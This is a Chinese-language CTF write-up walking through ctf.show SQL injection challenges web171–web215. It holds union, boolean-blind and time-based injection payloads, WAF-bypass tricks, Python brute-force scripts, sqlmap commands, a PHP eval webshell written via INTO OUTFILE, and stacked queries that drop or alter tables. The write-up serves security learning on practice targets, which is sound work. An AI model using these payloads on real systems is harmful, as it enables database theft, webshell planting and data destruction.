web171

源码

image-20221226192746294

给了一个sql语句,那么我们就可以通过这sql语句来进行判断,那么我们可以自己新建一个数据库来测试。

就是利用phpstudy和navicat (网上有教程,可以去拿来学习学习)

image-20221226193154082

新建了一个和题目差不多的user表,然后就可进行测试。

image-20221226193548945

通过这几个简单的测试,发现了就是虽然username不等于flag的情况下,可以利用id,就令前面的id=xx不成立的情况下,就可以用到后面的id了,那么我们就得以后面的id为突破口。

1
-1' or id='xxx     ''是为了闭合sql语句,否则无法执行

解法

这道题的解法是看到只能查到id=24,我们就怀疑会不会藏在后面,我们就可以一个一个的试出来。

image-20221226193930975

web172

源码

image-20221226203357870

image-20221226203412925

这道题直接用上一道题的解法,这道题就解不了了那么可以换别的解法,就是union联合注入。

就是可以本地试一下,如果成功了话,就可以拿去题目试一下

image-20221226204544643

1
-1' union select id,password from user where username='flag

这里查询列的数量要和题目给的语句中列的数量一样

这句话成功执行了,那么我们就可以拿去题目试一下,发现也可以成功执行,就拿到flag了。

image-20221226204645887

也可以利用模糊查询,但是只能本地通过,题目不能通过。

image-20221226205245342

1
-1' or username like '%f%

补充点知识

1
2
3
mysql  中的点是 ' . '  可以这样用,再有多个数据库的情况下, 
数据库名.xxxxx 例如这道题就可以这样用 ctfshow_user2.username ctfshow_user2.id
ctfshow_user2.password
1
也可以把数据库设做别的名字。   利用的是   as  这个单词
1
-1' union select b.id,b.password from user as b where b.username='flag

payload

1
-1' union select id,password from ctfshow_user2 where username='flag

web173

源码

image-20221226210521949

这道题是结果返回的过程中不能出现flag,那么我们就得想办法把flag给绕过,那么我们就可以通过转换进制来绕过。

payload

1
-1' union select id,bin(username),password from ctfshow_user3 where username='flag

也可以换成hex —>16进制。

image-20221226211348202

那么就可以成功拿到flag了。

最好是本地测试通过后在搬到题目上

image-20221226211450157

web174

源码

image-20221226225822637

利用前面的语句已经解不出来了,因为就是把flag和数字都屏蔽掉了,因为flag中还含有数字,所以就得使用替换。

payload

1
9999'union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(hex(password),'1','nba'),'2','nbb'),'3','nbc'),'4','nbd'),'5','nbe'),'6','nbf'),'7','nbg'),'8','nbh'),'9','nbi'),'0','nbj'),'a' from ctfshow_user4 where username='flag'--+

—+指的是注释

这个py的意思就是把flag中的数字全部替换成别的,用16进制转换的原因是,因为转换的字母全是大写,所以我们替换的是小写,那么就不会出现影响。

替换回去的py脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
nb='ctfshow{nbfnbcnbgnbdnbfnbfnbgnbcnbfnbhnbfFnbgnbgnbgBnbcnbenbcnbanbcnbbnbfnbcnbfnbfnbfnbcnbcnbenbfnbfnbbDnbfnbanbfnbcnbcnbanbcnbhnbbDnbcnbdnbcnbbnbfnbanbcnbanbbDnbfnbbnbcnbgnbcnbcnbcnbcnbbDnbfnbdnbfnbbnbfnbcnbfnbbnbcnbdnbcnbfnbcnbjnbcnbanbcnbdnbcnbbnbfnbfnbcnbjnbgD}'
#nb表示number
nb=nb.replace('nba','1')
nb=nb.replace('nbb','2')
nb=nb.replace('nbc','3')
nb=nb.replace('nbd','4')
nb=nb.replace('nbe','5')
nb=nb.replace('nbf','6')
nb=nb.replace('nbg','7')
nb=nb.replace('nbh','8')
nb=nb.replace('nbi','9')
nb=nb.replace('nbj','0')
print(nb)

image-20221226232256106

这里去输入a是为了把flag名给替换掉。

输入payload,拿到转换后的flag,放到脚本里

image-20221226232824965

得到输出结果后,进行16进制转换。

image-20221226233028450

web175

源码

image-20221226234423628

这里去查了一下ascii表,发现是全部都给过滤掉了,太致命了。所以看了群主的视频,学到了一种方法

就是利用这个东西

payload

1
-1' union select 1,"<?php eval($_POST[1]);?>" into outfile'/var/www/html/1.php

然后就去连接蚁剑,连接蚁剑完后就去连接数据库就好了。

(但是我连接数据库失败,不知道是啥原因)

web176

源码

image-20221227153245178

就是增加了过滤,但是这里也没给过滤了啥,所以可以拿简单的代码试试,看能不能打通。

payload

1
-1' or id='26     -1' or username='flag

image-20221227153414750

成功拿到flag。

web177

源码

image-20221227154121948

这道题简单进行了测试,发现的是对空格进行了过滤。

空格被过滤的替换方法

1
2
3
4
首先我们空格被过滤,这个绕过方法有很多
使用注释绕过,/**/,但是因为’/‘被过滤,导致此方法无法使用
使用括号绕过,括号可以用来包围子查询,任何计算结果的语句都可以使用()包围,并且两端可以没有多余的空格
使用符号替代空格 %20 %09 %0d %0b %0c %0d %a0 %0a,这里我选择了%0a进行绕过

image-20221227154738181

通过测试,确实是空格被过滤了,那么我们就可以选择2为注释点。

image-20221227154904901

payload

1
-1'/**/union/**/select/**/'1',(select/**/password/**/from/**/ctfshow_user/**/where/**/username='flag'),'3';%23

直接用#不行,得进行url编码。

web178

源码

image-20221227155020058

这道题是把/**给过滤掉了,然后换成%0b就行。

image-20221227155457926

payload

1
-1'%0bunion%0bselect%0b'1',(select%0bpassword%0bfrom%0bctfshow_user%0bwhere%0busername='flag'),'3';%23

web179

源码

image-20221227155714933

这道题进行了测试下

1
/**/  %0a  %0b 都过滤掉了

image-20221227155823003

payload

1
-1'%0cunion%0cselect%0c'1',(select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'),'3';%23

web180

源码

image-20221227160433511

用179的payload还能用,但是得把后面的东西去掉,也该是过滤掉了;或者是%23

payload

1
-1'%0cunion%0cselect%0c'1',(select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'),'3

web181

源码

image-20221227160739728

给了过滤项。

and的优先级高于or,需要同时满足两边的条件才会返回true,那么后面可以接一个or,or的两边有一个为true,既可以满足and。即:1 and 0 or 1

payload

1
-1'||username='flag

image-20221227161951410

这道题也能用%0c来做,那么就是题目给漏了。

web182

源码

image-20221227162638001

多过滤了个flag

% —->相当于*,任意匹配

_ ——->相当于?,只能匹配一个字符

payload

1
-1'||(username)like'%fla%

image-20221227162805178

web183

源码

image-20221227174007597

https://blog.csdn.net/m0_48780534/article/details/126155600 摘自这篇博客

解答:waf又增加了一些,题目也有变化了。查询到的结果会返回到下面第三个灰块那里。

select不能用,就只能选择布尔盲注或者时间盲注了。

这题的解法是在已知表名的情况下实现的,再结合模糊匹配like或者正则匹配regexp。
写脚本前先测试一下语句是否能正常执行,可以的话,再写到脚本里。

因为每次查询记录总数都是1条,就是我们要找的flag,所以页面固定会出现$user_count = 1;,可以用布尔盲注。

题目这里可以行得通

1
tableName=`ctfshow_user`where`pass`like'ctfshow{%'

wp脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import time
url="http://5b285b83-8642-4556-b1cc-ca435d196f99.challenge.ctf.show/select-waf.php"

flagstr="ctfshow{qeryuipadgjklzxvbnm0123456789-}_"
flag=""
for i in range(0,34):
for x in flagstr:
data={
"tableName":"`ctfshow_user`where`pass`regexp(\"ctfshow{}\")".format(flag+x)
#"tableName":"`ctfshow_user`where`pass`like\'ctfshow{}%\'".format(flag+x)
}
response=requests.post(url,data=data)
#有并发数量限制的题目,就睡一段时间
time.sleep(0.3)
if response.text.find("$user_count = 1;")>0:
print("++++++++++++++++ {} is right".format(x))
flag+=x
break
else:
continue
print("ctfshow"+flag)

regexp这个是正则匹配的意思。

image-20221227182656859

利用脚本就可以跑完了,就是跑的会有点久。

web184

源码

image-20221227183934675

着里是把where和单双引号都给过滤掉了,那么我们就得去利用16进制给绕过,where被过滤的话可以使用having进行绕过,但是having有使用条件.

1
一个HAVING子句必须位于GROUP BY子句之后,并位于ORDER BY子句之前。

wp脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import time
url="http://77ccea0a-ea21-463d-bd36-c3517890ddcd.challenge.ctf.show/select-waf.php"

flagstr="ctfshow{qeryuipadgjklzxvbnm0123456789-}_"

def str2hex(str):
a= ""
for x in str:
a += hex(ord(x))
return a.replace("0x","")
def main():
flag=""
for i in range(0,48):
for x in flagstr:
data={
"tableName":"ctfshow_user group by pass having pass regexp(0x63746673686f77{})".format(str2hex(flag+x))
#"tableName":"`ctfshow_user`where`pass`like\'ctfshow{}%\'".format(flag+x)
}
response=requests.post(url,data=data)
#有并发数量限制的题目,就睡一段时间
time.sleep(0.3)
if response.text.find("$user_count = 1;")>0:
print("++++++++++++++++ {} is right".format(x))
flag+=x
break
else:
continue
print("ctfshow"+flag)

if __name__ == '__main__':
main()

web185

源码

image-20221229192109344

这题是把数字 where 单双引号 给过滤掉了,那么我们就得想办法构造字符了。

在这里插入图片描述

就是利用这个东西来构造字符串,但是我们得需要一个函数来把这些构造出来的东西给连接起来。

img

本地测试了一下,发现确实可以。

image-20221229214124144

以下脚本摘自这篇文章 https://blog.csdn.net/m0_48780534/article/details/126155600

wp脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import requests
import time
import string

def formatString(str):
temp="concat("
for x in str:
tip=0
if x in string.digits:
tmp=int(x)
else:
tip=1
temp+="char("
tmp=ord(x)
if tmp == 0:
temp+="false"
else:
temp_d="("
for i in range(0,tmp):
temp_d+="true+"
temp_d=temp_d[:-1]+")"
if tip==1:
temp_d+=")"
temp+=temp_d
temp+=","
temp=temp[:-1]+")"
return temp

#print(formatString("0x63746673686f777b"))

url="http://d2f644f5-968d-4301-b037-267c7b183b0e.challenge.ctf.show/select-waf.php"
#dic的顺序可以改一下!我是懒得改了!改顺序可以提高效率!!!
dic="ctfshow{qeryuipadgjklzxvbnm0123456789-}_"
flag="ctfshow{"
for i in range(0,40):
for x in dic:
data={
"tableName":"ctfshow_user group by pass having pass regexp({})".format(formatString(flag+x))
}
#print(data)
response=requests.post(url,data=data)
time.sleep(0.3)
if response.text.find("$user_count = 1;")>0:
print("[**] {} is right".format(x))
flag+=x
break
else:
#print("[--] {} is wrong".format(x))
continue
print("[flag]:"+flag)

这个是群主写的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-01-12 01:16:02
# @Last Modified by: h1xa
# @Last Modified time: 2022-01-12 03:50:33
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

# 每秒发送不超过5个请求
# mysql 官方文档 https://dev.mysql.com/doc/refman/5.7/en/replication.html 5.7版本的

import requests
import time

url = "http://f279fb00-070d-4b47-a72f-0f1a82f2e84a.challenge.ctf.show/select-waf.php"

flagstr = "}{abcdefghijklmnopqr-stuvwxyz0123456789"
#flagstr = "{"

def str2hex(str):
a = ""
for x in str:
a += hex(ord(x))
return "0x"+a.replace("0x","")

#63746673686f777b
def formatString(str):

temp = "concat("
for x in str:
temp +=char2boolean(x)
return temp[:-1]+")"


def char2boolean(ch):
num = ord(ch)
temp = "char("
for x in range(num):
temp +="true+"
return temp[:-1]+"),"



#ctfshow{55eff0b8-fa84-4ee8-9cd2-4e84cdd78b73}

def main():
flag="ctfshow"
for i in range(0,40):
for x in flagstr:
data={
"tableName":"ctfshow_user group by pass having pass regexp({})".format(formatString(flag+x))
}
response = requests.post(url,data=data)
time.sleep(0.3)
if response.text.find("user_count = 1;")>0:
print("+++++++++++++++++++++++++++++++={} is right".format(x))
flag+=x
break
else:
print("+++++++++++++++++++++++++++++++={} is wrong".format(x))
continue
print("+++++++++++++++++++++++++++++++="+flag)

if __name__ == '__main__':
main()


image-20221229221701321

代码中的char是负责转换字符用的,然后concat是连接字符用的。char转换里的内容是ascii的10进制。

web186

源码

image-20221229221947989

这道题多过滤了<> 和x00 但是还是可以上一题的脚本来写。

image-20221229222842518

web187

源码

image-20221229222936006

image-20221229224301702

以下内容摘自 https://blog.csdn.net/m0_48780534/article/details/126155600

​ 本题和web181类似,都是通过1 and 0 or 1达到目的。

​ 这里的二进制格式,并不是指转成0101,而是binary mode。

image-20221229224630236

image-20221229224640893

就是这样的格式。

那么这道题就得用到这个经过md5(ffifdyop)加密过后的东西,里面这段英文解析之后就是上图所示,和万能密码差不多。

1
select count(*) from ctfshow_user where username = 'admin' and password= ''or'6�]��!r,��b';

这个就会变成1 and 0 or 1 的情况,那么最后结果就是 1。

image-20221229225158366

image-20221229225309316

就是类似这种效果。只要第一个数字是数字不是字母就行。

image-20221229225514311

1
count(*)  ---->指的是数据库总行数

web188

源码

image-20221229230058797

这里的考法是mysql的弱类型比较。

image-20221229230659047

image-20221229230716625

这里能爆出来的原因是因为username的值没有用 ‘’ 包含起来,那么username的值就为0,数据库中username是字母开头的话,值也为0.那么就可以把这些全部给爆出来了。

image-20221229230926512

这个能爆出的原因是这个的username为1ab,转换过来的话值是为1的。那么就可以爆出值为1的password.

image-20221229231221101

username和password都用0的原因是,两个if判断都为弱类型比较,0都会等于字母开头的字符串

就是利用这一点,拿到了flag。

web189(bool盲注)

源码

image-20221229231806534

和上一题的内容一样。

1
flag在api/index.php文件中     ---->  给的提示

看一下登录的返回情况有没有差别:
username=0、password=0时,返回“密码错误”。(说明存在用户,但是密码错误)
username=1、password=0时,返回“查询失败”。(说明用户不存在)

因为输入0 和 1返回的结果不同,加上过滤了联合注入需要的东西,那么我们就得考虑bool盲注的问题了。

群主写的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import time

url = "http://dc02940d-e22b-4796-ab0f-04bdf57d3a9f.challenge.ctf.show/api/"
flagstr = "}{<>$=,;_ 'abcdefghijklmnopqr-stuvwxyz0123456789"

flag = ""
#这个位置,是群主耗费很长时间跑出来的位置~
for i in range(257,257+60):
for x in flagstr:
data={
"username":"if(substr(load_file('/var/www/html/api/index.php'),{},1)=('{}'),1,0)".format(i,x),
"password":"0"
}
print(data)
response = requests.post(url,data=data)
time.sleep(0.3)
if response.text.find("8d25")>0:
#8d25是username等于1时返回的东西,0返回时的东西不是8d25.
print("++++++++++++++++++ {} is right".format(x))
flag+=x
break
else:
continue
print(flag)

data里的意思是,如果返回的值里的第n位与字符串里的某位相等,则返回1

image-20221230165849922

web190

源码

image-20221230205113908

这道题给了个提示说是bool盲注

image-20221230205237454

提示密码错误。

image-20221230205303277

输入别的提示用户名不存在,所以可以得出用户名处存在sql注入。这题没有过滤字符,那么直接用群主写的二分法脚本来跑就行了。(以后遇到bool盲注的题,可以修改脚本一下直接用就行了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# -*- coding: utf-8 -*-
# @Author: k1he
# @Date: 2021-09-18 21:01:32
# @Last Modified by: k1he
# @Last Modified time: 2022-01-12 05:48:30
import requests
import sys
import time

url = "http://1429d815-6439-47de-ab04-5782a8bbf349.challenge.ctf.show/api/index.php"
flag = ""
for i in range(1,60):
max = 127
min = 32
while 1:
mid = (max+min)>>1
if(min == mid):
flag += chr(mid)
print(flag)
break
#payload = "admin'and (ascii(substr((select database()),{},1))<{})#".format(i,mid)
#ctfshow_web
#payload = "admin'and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid)
#ctfshow_fl0g
#payload = "admin'and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid)
#id,f1ag
payload = "admin'and (ascii(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)

data = {
"username":payload,
"password":0,
}
res = requests.post(url = url,data =data)
time.sleep(0.3)
if res.text.find("8bef")>0:
max = mid
else:
min = mid

#ctfshow{77de2af3-6f34-4d20-adc7-8aba40a40ffe}

web191

源码

image-20221230205641079

这题相较上题而言,增加了过滤。但是影响不大,把web190的脚本拿来修改一下就好了。

image-20221230210418369

这两个函数是一样的,可以替换着来用

修改后的wp脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# -*- coding: utf-8 -*-
# @Author: k1he
# @Date: 2021-09-18 21:01:32
# @Last Modified by: k1he
# @Last Modified time: 2022-01-12 05:48:30
import requests
import sys
import time

url = "http://86c12830-4c24-41b4-bf71-64e3ad3646d1.challenge.ctf.show/api/index.php"
flag = ""
for i in range(1,60):
max = 127
min = 32
while 1:
mid = (max+min)>>1
if(min == mid):
flag += chr(mid)
print(flag)
break
#payload = "admin'and (ascii(substr((select database()),{},1))<{})#".format(i,mid)
#ctfshow_web
#payload = "admin'and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid)
#ctfshow_fl0g
#payload = "admin'and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid)
#id,f1ag
payload = "admin'and (ord(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)

data = {
"username":payload,
"password":0,
}
res = requests.post(url = url,data =data)
time.sleep(0.3)
if res.text.find("8bef")>0:
max = mid
else:
min = mid

#ctfshow{77de2af3-6f34-4d20-adc7-8aba40a40ffe}

利用ord()来替换。

web192

源码

image-20221230212728629

这里是把ord和ascii都给过滤掉了,那么我们就可以考虑不用编码成数字的形式来解题,可以直接遍历字符串来看是否相等。

群主写的wp脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# -*- coding: utf-8 -*-
# @Author: k1he
# @Date: 2021-09-18 21:01:32
# @Last Modified by: k1he
# @Last Modified time: 2022-01-14 00:52:03
import requests
import sys
import time

url = "http://053d8c7a-d802-48ae-836c-d60f4a832555.challenge.ctf.show/api/index.php"

flagstr = "}{abcdefghijklmnopqr-stuvwxyz0123456789"
flag = ""
for i in range(1,60):
for mid in flagstr:
#payload = "admin'and (ascii(substr((select database()),{},1))<{})#".format(i,mid)
#ctfshow_web
#payload = "admin'and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid)
#ctfshow_fl0g
#payload = "admin'and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid)
#id,f1ag
payload = "admin'and ((substr((select f1ag from ctfshow_fl0g),{},1)='{}'))#".format(i,mid)

data = {
"username":payload,
"password":0,
}
#{'username': "admin'and ((substr((select f1ag from ctfshow_fl0g),1,1)='O'))#", 'password': 0}
res = requests.post(url = url,data =data)
time.sleep(0.3)
if res.text.find("8bef")>0:
flag += mid
print("++++++++++++++++++++"+flag)
break

#ctfshow{2bc86f71-2a58-45b2-8573-940ddffa99d2}

web193

源码

image-20221230214618742

这次193是把substr给过滤掉了,那么我们就可以靠用别的函数来替代了。

left right 这两个函数都可以。

image-20221230215436224

image-20221230215458982

群主写的wp脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# -*- coding: utf-8 -*-
# @Author: k1he
# @Date: 2021-09-18 21:01:32
# @Last Modified by: k1he
# @Last Modified time: 2022-01-14 01:24:27
import requests
import sys
import time

url = "http://cd09c29e-5dfa-4740-aae6-babe6eebb972.challenge.ctf.show/api/index.php"

flagstr = ",_}{abcdefghijklmnopqr-stuvwxyz0123456789"
tempstr = ""
flag = ""
for i in range(1,60):
for mid in flagstr:
#payload = "admin'and ((left((select database()),{})='{}'))#".format(i,tempstr+mid)
#ctfshow_web
#payload = "admin'and ((left((select group_concat(table_name) from information_schema.tables where table_schema=database()),{})='{}'))#".format(i,tempstr+mid)
#ctfshow_flxg
#payload = "admin'and ((left((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{})='{}'))#".format(i,tempstr+mid)
#id,f1ag
payload = "admin'and ((left((select f1ag from ctfshow_flxg),{})='{}'))#".format(i,tempstr+mid)

data = {
"username":payload,
"password":0,
}
#{'username': "admin'and ((substr((select f1ag from ctfshow_fl0g),1,1)='O'))#", 'password': 0}
res = requests.post(url = url,data =data)
time.sleep(0.3)
if res.text.find("8bef")>0:
tempstr += mid
flag += mid
print("++++++++++++++++++++"+flag)
break

#ctfshow{2bc86f71-2a58-45b2-8573-940ddffa99d2}

这里用tempstr参数的原因是,left函数不能一个一个的遍历,这个函数是直接输出长度为多少的字符串,所以我们得找一个参数来暂时存起来,然后在和新的拼接在一起。

web194

源码

image-20221230220314140

过滤了挺多东西的。这道题可以使用 lpad 函数

image-20221230220532917

image-20221230220638283

其实和left差不多,只是加了一个空命令。

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# -*- coding: utf-8 -*-
# @Author: k1he
# @Date: 2021-09-18 21:01:32
# @Last Modified by: k1he
# @Last Modified time: 2022-01-14 01:24:27
import requests
import sys
import time

url = "http://ae098689-0aa3-490f-9ece-da1a4ef3eaa4.challenge.ctf.show/api/index.php"

flagstr = ",_}{abcdefghijklmnopqr-stuvwxyz0123456789"
tempstr = ""
flag = ""
for i in range(1,60):
for mid in flagstr:
#payload = "admin'and ((left((select database()),{})='{}'))#".format(i,tempstr+mid)
#ctfshow_web
#payload = "admin'and ((left((select group_concat(table_name) from information_schema.tables where table_schema=database()),{})='{}'))#".format(i,tempstr+mid)
#ctfshow_flxg
#payload = "admin'and ((left((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{})='{}'))#".format(i,tempstr+mid)
#id,f1ag
payload = "admin'and ((lpad((select f1ag from ctfshow_flxg),{},'')='{}'))#".format(i,tempstr+mid)

data = {
"username":payload,
"password":0,
}
#{'username': "admin'and ((substr((select f1ag from ctfshow_fl0g),1,1)='O'))#", 'password': 0}
res = requests.post(url = url,data =data)
time.sleep(0.3)
if res.text.find("8bef")>0:
tempstr += mid
flag += mid
print("++++++++++++++++++++"+flag)
break

#ctfshow{2bc86f71-2a58-45b2-8573-940ddffa99d2}

web195(堆叠注入)

源码

image-20221230225635015

这道题用的是堆叠注入的知识点。

image-20221230225706757

wp是利用update函数来更新数据库里的密码。

image-20221230225901741

1
``      这个符号可以替代空格。

image-20221230230250480

web196

源码

image-20221230230414378

image-20221230231811538

image-20221230231833992

通过这一点可以来进行判断。

image-20221230231919859

这里的select并没有被过滤。

image-20221231004615102

web197

源码

image-20221230232106140

不能用update来更新密码了。

payload

1
2
3
0;drop table ctfshow_user;
create table ctfshow_user(`username` varchar(100),`pass` varchar(100));
insert ctfshow_user(`username`,`pass`) value(1,2);

这是先删除掉原来的表,然后在新建一个表,然后在往表里插入东西。

image-20221230235928061

image-20221230235936942

成功执行并且建立了新表和内容。

image-20221231000026235

成功执行。

web198

源码

image-20221231000119082

新建表和更新密码都不能用了。

解法一

paylaod

1
1;insert ctfshow_user(`username`,`pass`) value(2,3);

通过新插入的账号密码来获得flag。

然后在username和password处分别输入2,3 就能拿到flag。

解法二

通过pass和id列的互相交换,然后把依次爆破pass就好了,username值填0;(弱类型比较)

1
0;alter table ctfshow_user change column `pass` `tmp` varchar(255);alter table ctfshow_user change column `id` `pass` varchar(255);alter table ctfshow_user change column `tmp` `id` varchar(255)

web199

源码

image-20221231003923901

这道题的用法类似这个原理

image-20221231004703865

解法一

image-20221231004751742

1
2
3
username  --->    1;show tables
password ---> ctfshow_user
因为就是$row是用来存第二个分号后传的内容的

解法二

1
0;alter table ctfshow_user change column pass tmp text;alter table ctfshow_user change column id pass int;alter table ctfshow_user change column tmp id text

这个是把varchar类型换成text类型,因为就是varchar需要括号,text不需要括号。

然后username为0;从0开始爆破password就行。

web200

源码

image-20221231005222484

多把一个逗号给过滤掉了。

解法一

image-20221231005325134

解法二

1
0;alter table ctfshow_user change column pass tmp text;alter table ctfshow_user change column id pass int;alter table ctfshow_user change column tmp id text

web201

源码

image-20221231212254050

第一步

查看是否可以进行注入

1
sqlmap -u "http://1bb5bf5b-d162-49e5-b701-e4eb8c3e851e.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer=ctf.show

image-20221231213608213

说明id可以进行注入了。

第二步

查找全部的数据库名。

1
sqlmap -u "http://1bb5bf5b-d162-49e5-b701-e4eb8c3e851e.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer=ctf.show --dbs

image-20221231213740070

第三步

查找某个数据库中的表名

1
sqlmap -u "http://1bb5bf5b-d162-49e5-b701-e4eb8c3e851e.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web --tables

image-20221231213901166

第四步

查找表中的所有的列名

1
sqlmap -u "http://1bb5bf5b-d162-49e5-b701-e4eb8c3e851e.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user --columns

image-20221231214110487

第五步

查看这些列中的内容

1
sqlmap -u "http://1bb5bf5b-d162-49e5-b701-e4eb8c3e851e.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump

image-20221231214230587

拿到flag.

web202

源码

image-20221231214436334

那就是POST请求了。

image-20221231214624767

猜测数据库名和表名也该没改,那么直接就去用

1
sqlmap -u "http://f61fc87c-d4f4-44bb-a391-52a88766edb9.challenge.ctf.show/api/" --data="id=1" --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump

image-20221231215653269

直接拿到flag.

web203

源码

image-20221231215842405

这题说是要用method。

image-20221231215938860

注意:一定要加上–headers=“Content-Type: text/plain” ,否则是按表单提交的,put接收不到

payload

1
sqlmap -u "http://ef1c4fb9-5fb4-45d0-96e6-721fe5bdbce3.challenge.ctf.show/api/index.php" --data="id=1" --referer=ctf.show --method=PUT --headers="Content-Type: text/plain" -D ctfshow_web -T ctfshow_user --dump

(这里我是懒得一步一步的去查数据库和表了,就直接用上一个的了)

image-20221231221803548

web204

源码

image-20221231222031810

新增加了个cookie提交。

image-20221231222112530

1
这里我也不知道出现啥问题了,直接写的payload在kali下的sqlmap 打不通   拿别人的pl也没用,好奇怪

web205

源码

image-20230101152042762

通过抓包分析,在每次请求url/api/index.php之前需要先请求URL/api/getTokn.php,大家可以用burpsuite抓包看看确实是这么回事

所以我们需要两个参数

1
2
--safe-url 设置在测试目标地址前访问的安全链接
--safe-freq 设置两次注入测试前访问安全链接的次数

image-20230101152312909

摘自Y4tacker师傅的博客 https://blog.csdn.net/solitudi/article/details/110144623

payload

1
sqlmap -u "http://98a8a8b4-a308-4ec4-93e7-b072c3971d27.challenge.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --dbms=mysql dbs=ctfshow_web -T ctfshow_flax -C flagx --dump  --headers="Content-Type: text/plain" --safe-url=http://98a8a8b4-a308-4ec4-93e7-b072c3971d27.challenge.ctf.show/api/getToken.php --safe-freq=1

image-20230101153109959

这里是直接打payload,师傅们可以按照前面的步骤来一步一步的打。

web206

源码

image-20230101153400105

这里的话是闭不闭合都无所谓,因为sqlmap会自己判断。

payload

1
sqlmap -u "http://0e551b3e-f8f4-4d09-9bbb-5a95ca5f0334.challenge.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --dbms=mysql -D "ctfshow_web" -T "ctfshow_flaxc" -C "flagv" --dump  --headers="Content-Type: text/plain" --safe-url=http://0e551b3e-f8f4-4d09-9bbb-5a95ca5f0334.challenge.ctf.show/api/getToken.php --safe-freq=1

image-20230101153947876

这里是直接打payload,师傅们可以按照前面的步骤来一步一步的做。

web207 - web213

大家可以看看Y4tacker师傅的博客,我就不写了

https://blog.csdn.net/solitudi/article/details/110144623

web214(时间盲注)

源码

image-20230101170048693

注入点在url/api/

群主写的wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
import time
import sys

url='http://b435d6fe-5f89-40c5-9d51-c6b900d102e1.challenge.ctf.show/api/index.php'
flagstr="{}qwertyuiopasdfghjklzxcvbnm-_,0123456789"
flag=""
for i in range(1,40):
for x in flagstr:
#payload = "if((ascii(substr((select database()),{},1))={}),sleep(3),1)#".format(i,ord(x))
#ctfshow_web
#payload = "if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))={}),sleep(3),1)#".format(i, ord(x))
#ctfshow_flagx,ctfshow_info
#payload = "if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'),{},1))={}),sleep(3),1)#".format(i,ord(x))
#id, flaga, inf
payload = "if((ascii(substr((select flaga from ctfshow_flagx),{},1))={}),sleep(3),1)#".format(i, ord(x))
print(payload)
data = {
"ip":payload,
"debug":1,
}

try:
res = requests.post(url = url,data = data,timeout=2)
except:
time.sleep(0.3)
flag+=x
print("----------------------"+flag)
break
print(flag)
#try except --->这两个是处理异常用的,如果执行sleep(3)了话,那对try来说就是异常了,因为timeout规定的是2s,异常的话就会执行except下的代码。

然后跟着上面的走就能拿到flag了。

看了这么多脚本的编写,自己也会写一点了(记录一下这个时刻)

web215

源码

image-20230101175616535

这里提示了用’ ‘ 单引号。

就是同样用单引号给闭合注释掉就行

1
' or xxxxxxxxxx#  ---->这样就可以了。

那么我们就拿上一题的脚本拿来修改修改就好了。

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
import time
import sys

url='http://d1e3eb87-f09e-4e69-9811-9765e724a946.challenge.ctf.show/api/index.php'
flagstr="{}qwertyuiopasdfghjklzxcvbnm-_,0123456789"
